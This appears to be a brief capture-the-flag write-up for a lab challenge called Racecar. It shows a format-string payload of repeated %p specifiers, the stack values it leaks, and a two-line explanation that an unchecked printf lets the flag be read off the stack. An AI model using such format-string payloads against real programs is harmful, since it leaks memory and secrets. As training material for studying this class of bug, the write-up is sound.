HTB_RACECAR Format string exploit challenge

 %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p                      

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
0x585581c00x1700x56585d850x90x350x260x10x20x5658696c0x585581c00x585583400x7b4254480x5f7968770x5f6431640x34735f310x745f33760x665f33680x5f67346c0x745f6e300x355f33680x6b6334740x7d213f 0x8fc59e000xf7f7b3fc0x56588f8c0xffd3dbd80x565864410x10xffd3dc840xffd3dc8c0x8fc59e000xffd3dbf0(nil)(nil)0xf7dbef210xf7f7b0000xf7f7b000(nil)0xf7dbef210x10xffd3dc840xffd3dc8c0xffd3dc140x1

The printf allows us to input whatever format string we want so we can dumb content off the stack. The flag is on the stack and we leak it.

The last dot is garbage left on the stack